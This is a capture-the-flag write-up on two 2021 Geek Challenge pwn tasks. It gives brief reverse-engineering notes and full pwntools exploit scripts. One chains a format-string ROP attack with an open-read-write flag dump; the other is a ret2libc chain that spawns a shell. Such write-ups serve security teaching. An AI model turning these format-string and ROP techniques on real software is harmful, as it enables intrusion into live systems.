[pwn] 2021 geek challenge (part)
1,pwn777
0x1
How to say, this problem is to write rop chain with fmt.
But it's also the first time to see this kind of fmt, which can be regarded as a new question type.
0x2
We open IDA for reverse analysis
Just the two main functions, let me be the first level and the second level
First enter the game function, and it is found that the last 32 bits of seed can be covered by buf. The parameters of srand function are int type, so we can cover seed through buf, import ctypes library, use libc given by the title to obtain random numbers, and repeat it 10 times.
0x3
The second level is a little free. This freedom depends on how you think of the attack point
First, judge whether the first 0xf bit of the bss segment buf is the jiaraniloveyou ~ string. If yes, break the loop instead of always using the fmt function
Then there is the fmt function. Here is a myread function written by myself. I don't care. I can write 0x288 data to buf. When the reading ends, the core fmt will follow
0x4
So how to use the above?
We first change the seed and import it into the c library to steal random numbers. The first step is to close pass
In the second level, we first read several addresses on the stack and read one__ libc_start_main divulges the libc address, and then divulges the stack address.
Then the RET of the last while loop break_ Addr performs rop. The important point here is that fmt needs to be performed many times, and an address on the stack needs to be written to point to a target address first, and then we overwrite the pointing address of this address.
Anyway, it was hard adjusted. It took all night.
At first, I wanted to write shellcode or rop to the buf segment, and finally ret_addr points to our shellcode or rop on the buf. Later, it is found that the bss of the buf does not have executable permission, so it is finally decided to write rop on the stack.
In addition, the program opens the sandbox and ban execve, so it finally uses orw to output flag.
get flag
exp
#!/usr/bin/python3 # -*- coding: UTF-8 -*- # ----------------------------------- # @File : exp.py # @Author : woodwhale # @Time : 2021/10/26 16:36:09 # ----------------------------------- from pwn import * from LibcSearcher import * import sys, subprocess, warnings, os from ctypes import * def ret2libc(addr,func,binary=null): libc = LibcSearcher(func,addr) if binary == null else binary libc.address = addr - libc.dump(func) if binary == null else addr-libc.sym[func] system = libc.address+libc.dump('system') if binary == null else libc.sym['system'] binsh = libc.address+libc.dump('str_bin_sh') if binary == null else next(libc.search(b'/bin/sh')) leak('libc_base',libc.address) leak('system',system) leak('binsh',binsh) return(system,binsh) def hack(pwn): global io,binary,libc times = 0 while True: try: times += 1 clear() info(f'time --> {times}') pwn() except: io.close() io = getprocess() def init(binary): global arglen, elf, path , libc, context, io arglen = len(sys.argv) warnings.filterwarnings('ignore') context.terminal = ['gnome-terminal','-x', 'bash','-c'] elf = ELF(binary) # path = libcpath(binary) # libc = ELF(path) # libc.path = path context.arch = elfbit(binary) io = getprocess() s = lambda data : io.send(data) sa = lambda rv,data : io.sendafter(rv,data) sl = lambda data : io.sendline(data) sla = lambda rv,data : io.sendlineafter(rv,data) r = lambda num : io.recv(num) rl = lambda keepends=True : io.recvline(keepends) ru = lambda data,drop=True,time=null : io.recvuntil(data,drop) if time == null else io.recvuntil(data,drop,time) ia = lambda : io.interactive() l32 = lambda : u32(ru(b'\xf7',False)[-4:].ljust(4,b'\x00')) l64 = lambda : u64(ru(b'\x7f',False)[-6:].ljust(8,b'\x00')) uu32 = lambda data : u32(data.ljust(4,b'\x00')) uu64 = lambda data : u64(data.ljust(8,b'\x00')) i16 = lambda data : int(data,16) leak = lambda name,addr : log.success('\033[33m{}\033[0m = \033[31m{:#x}\033[0m'.format(name, addr)) info = lambda data : log.info(f'\033[36m{data}\033[0m') pau = lambda : pause() if DEBUG else null dbg = lambda point=null : (gdb.attach(io) if point == null else gdb.attach(io,f'b *{point}')) if DEBUG else null og = lambda path=null : list(map(int,subprocess.check_output(['one_gadget','--raw','-f',libc.path]).decode().strip('\n').split(' '))) if path == null else list(map(int,subprocess.check_output(['one_gadget','--raw','-f',path]).decode().strip('\n').split(' '))) rg = lambda binary,only,grep : i16(subprocess.check_output([f"ROPgadget --binary {binary} --only '{only}' | grep {grep}"],shell=True).decode().split(' ')[0]) setlibc = lambda leak,func : leak - libc.sym[func] elfbit = lambda binary : 'i386' if subprocess.check_output(['file',binary]).decode().split(' ')[2] == '32-bit' else 'amd64' libcpath = lambda binary : subprocess.check_output(['ldd',binary]).decode().replace(' ', '').split('\n')[1].split(' ')[2] if GLIBC else subprocess.check_output(['ls | grep libc*.so'],shell=True).decode().strip('\n').split('\n')[0] proce = lambda binary,libc=null : process(binary) if GLIBC else process(binary,env={'LD_PRELOAD':'./'+libc}) getprocess = lambda : proce(binary,path) if arglen == 1 else (remote(sys.argv[1].split(':')[0],sys.argv[1].split(':')[1]) if arglen == 2 else remote(sys.argv[1],sys.argv[2])) clear = lambda : os.system('clear') # context.log_level='debug' DEBUG = 1 GLIBC = 1 binary = './pwn' init(binary) libc = ELF("/home/bi0x/ctftools/pwntools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6") libc.path = "/home/bi0x/ctftools/pwntools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6" def pwn(): payload = p64(0xdeadbeef)+p64(0)*2 + p32(0) sla("name",payload) c = cdll.LoadLibrary(libc.path) c.srand(0) for i in range(10): sla("number:",str(c.rand())) sl("%13$p%p%6$p") ru("0x") libc.address = i16(r(12)) - (0x7fed9a1e0840 - 0x7fed9a1c0000) leak("base",libc.address) ru("0x") buf_addr = i16(r(12)) - 0x7 leak("buf_addr",buf_addr) buf_offset = int("0x"+hex(buf_addr)[-4:],16) leak("buf_offset",buf_offset) pie = buf_addr - (0x55db67b86064-0x55db67b82000) leak("pie",pie) ru("0x") stack = i16(r(12)) + 0x8 leak("stack",stack) stack_offset = int("0x"+hex(stack)[-2:],16) leak("stack_offset",stack_offset) # pop rdi ret pop_rdi = pie + (0x55f731e05713-0x55f731e04000) pop_rdi_offset = int("0x"+hex(pop_rdi)[-4:],16) sl(f"%{stack_offset}c%6$hhn") sl(f"%{pop_rdi_offset}c%10$hn") # 0 sl(f"%{stack_offset+8}c%6$hhn") sl("%10$n") sl(f"%{stack_offset+8+4}c%6$hhn") sl("%10$n") # pop rdx ret pop_rdx = next(libc.search(asm("pop rdx; ret"))) pop_rdx_offset = int("0x"+hex(pop_rdx)[-4:],16) pop_rdx_offset2 = int("0x"+hex(pop_rdx)[8:10],16) sl(f"%{stack_offset+8*2}c%6$hhn") sl(f"%{pop_rdx_offset}c%10$hn") sl(f"%{stack_offset+8*2+2}c%6$hhn") sl(f"%{pop_rdx_offset2}c%10$hhn") # 0x100 sl(f"%{stack_offset+8*3}c%6$hhn") sl("%256c%10$n") # pop rsi pop_rsi = next(libc.search(asm("pop rsi; ret"))) pop_rsi_offset3 = int("0x"+hex(pop_rsi)[2:6],16) pop_rsi_offset2 = int("0x"+hex(pop_rsi)[6:10],16) pop_rsi_offset1 = int("0x"+hex(pop_rsi)[-4:],16) sl(f"%{stack_offset+8*4}c%6$hhn") sl(f"%{pop_rsi_offset1}c%10$hn") sl(f"%{stack_offset+8*4+2}c%6$hhn") sl(f"%{pop_rsi_offset2}c%10$hn") sl(f"%{stack_offset+8*4+4}c%6$hhn") sl(f"%{pop_rsi_offset3}c%10$hn") # target_addr target_addr = stack+56 target_offset3 = int("0x"+hex(target_addr)[2:6],16) target_offset2 = int("0x"+hex(target_addr)[6:10],16) target_offset1 = int("0x"+hex(target_addr)[-4:],16) sl(f"%{stack_offset+8*5}c%6$hhn") sl(f"%{target_offset1}c%10$hn") sl(f"%{stack_offset+8*5+2}c%6$hhn") sl(f"%{target_offset2}c%10$hn") sl(f"%{stack_offset+8*5+4}c%6$hhn") sl(f"%{target_offset3}c%10$hn") # read read_addr = libc.sym["read"] read_offset1 = int("0x"+hex(read_addr)[-4:],16) read_offset2 = int("0x"+hex(read_addr)[6:10],16) read_offset3 = int("0x"+hex(read_addr)[2:6],16) sl(f"%{stack_offset+8*6}c%6$hhn") sl(f"%{read_offset1}c%10$hn") sl(f"%{stack_offset+8*6+2}c%6$hhn") sl(f"%{read_offset2}c%10$hn") sl(f"%{stack_offset+8*6+4}c%6$hhn") sl(f"%{read_offset3}c%10$hn") # jiaran sl("jiaraniloveyou~") # orw flag_addr = target_addr + 0x80 open_addr = libc.sym["open"] puts_addr = libc.sym["puts"] read_addr = libc.sym["read"] pop_rdi = next(libc.search(asm("pop rdi; ret"))) pop_rsi = next(libc.search(asm("pop rsi; ret"))) pop_rdx__rbx_ret = next(libc.search(asm("pop rdx; pop rbx; ret"))) orw = flat([ pop_rdi, flag_addr, pop_rsi, 0, open_addr, pop_rdi, 3, pop_rsi, flag_addr, pop_rdx__rbx_ret, 0x100, 0, read_addr, pop_rdi, flag_addr, puts_addr ])+ b"flag\x00" s(orw) ru("jiaraniloveyou~") pwn() ia()
2,ret2baby
0x1
0x2
This problem is divided into two parts. The first part is how to enter stack overflow? The second part is a simple rop construct execution system("/bin/sh")
Analyzing the main game function, let's enter a1, and then enter number[a1], if number[a1] == magic_number, then scanf stack overflow can be performed.
Let's look at the distribution of number dynamically. We can see that number[20] is magic_number, so we enter number[20]=0 for the first time, and then the next rand is 0 = = 0 no matter what it is, so we enter the scanf function
After that is the construction of the basic rop chain
0x3
exp
#!/usr/bin/python # -*- coding: UTF-8 -*- # ----------------------------------- # @File : exp.py # @Author : woodwhale # @Time : 2021/11/05 17:06:57 # ----------------------------------- from pwn import * from ctypes import * from LibcSearcher import * import sys, subprocess, warnings, os def ret2libc(addr,func,binary=null): libc = LibcSearcher(func,addr) if binary == null else binary libc.address = addr - libc.dump(func) if binary == null else addr-libc.sym[func] system = libc.address+libc.dump('system') if binary == null else libc.sym['system'] binsh = libc.address+libc.dump('str_bin_sh') if binary == null else next(libc.search(b'/bin/sh')) leak('libc_base',libc.address) leak('system',system) leak('binsh',binsh) return(system,binsh) def hack(pwn): global io,binary,libc times = 0 while True: try: times += 1 clear() info(f'time --> {times}') pwn() except: io.close() io = getprocess() def init(binary): global arglen, elf, path , libc, context, io, Clib arglen = len(sys.argv) warnings.filterwarnings('ignore') context.terminal = ['gnome-terminal','-x', 'bash','-c'] elf = ELF(binary) path = libcpath(binary) libc = ELF(path) libc.path = path Clib = cdll.LoadLibrary(libc.path) if context.arch == 'amd64' else null context.arch = elfbit(binary) io = getprocess() s = lambda data : io.send(data) sa = lambda rv,data : io.sendafter(rv,data) sl = lambda data : io.sendline(data) sla = lambda rv,data : io.sendlineafter(rv,data) r = lambda num : io.recv(num) rl = lambda keepends=True : io.recvline(keepends) ru = lambda data,drop=True,time=null : io.recvuntil(data,drop) if time == null else io.recvuntil(data,drop,time) ia = lambda : io.interactive() l32 = lambda : u32(ru(b'\xf7',False)[-4:].ljust(4,b'\x00')) l64 = lambda : u64(ru(b'\x7f',False)[-6:].ljust(8,b'\x00')) uu32 = lambda data : u32(data.ljust(4,b'\x00')) uu64 = lambda data : u64(data.ljust(8,b'\x00')) i16 = lambda data : int(data,16) leak = lambda name,addr : log.success('\033[33m{}\033[0m = \033[31m{:#x}\033[0m'.format(name, addr)) info = lambda data : log.info(f'\033[36m{data}\033[0m') pau = lambda : pause() if DEBUG else null dbg = lambda point=null : (gdb.attach(io) if point == null else gdb.attach(io,f'b *{point}')) if DEBUG else null og = lambda path=null : list(map(int,subprocess.check_output(['one_gadget','--raw','-f',libc.path]).decode().strip('\n').split(' '))) if path == null else list(map(int,subprocess.check_output(['one_gadget','--raw','-f',path]).decode().strip('\n').split(' '))) rg = lambda binary,only,grep : i16(subprocess.check_output([f"ROPgadget --binary {binary} --only '{only}' | grep {grep}"],shell=True).decode().split(' ')[0]) setlibc = lambda leak,func : leak - libc.sym[func] elfbit = lambda binary : 'i386' if subprocess.check_output(['file',binary]).decode().split(' ')[2] == '32-bit' else 'amd64' libcpath = lambda binary : subprocess.check_output(['ldd',binary]).decode().replace(' ', '').split('\n')[1].split(' ')[2] if GLIBC else subprocess.check_output(['ls | grep libc*.so'],shell=True).decode().strip('\n').split('\n')[0] proce = lambda binary,libc=null : process(binary) if GLIBC else process(binary,env={'LD_PRELOAD':'./'+libc}) getprocess = lambda : proce(binary,path) if arglen == 1 else (remote(sys.argv[1].split(':')[0],sys.argv[1].split(':')[1]) if arglen == 2 else remote(sys.argv[1],sys.argv[2])) clear = lambda : os.system('clear') # context.log_level='debug' DEBUG = 1 GLIBC = 1 binary = './ret2' init(binary) libc = ELF("./libc-2.27.so") sla("please input your position","20") sla("plz input your value","0") ru("0x") system_addr = i16(r(12)) libc.address = system_addr - libc.sym["system"] leak("libc_base",libc.address) binsh_addr = next(libc.search(b"/bin/sh")) pop_rdi_ret = next(libc.search(asm("pop rdi; ret"))) ret = next(libc.search(asm("ret"))) payload = b"b"*0x12 + b"woodwood" + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) sl(payload) # dbg() ia()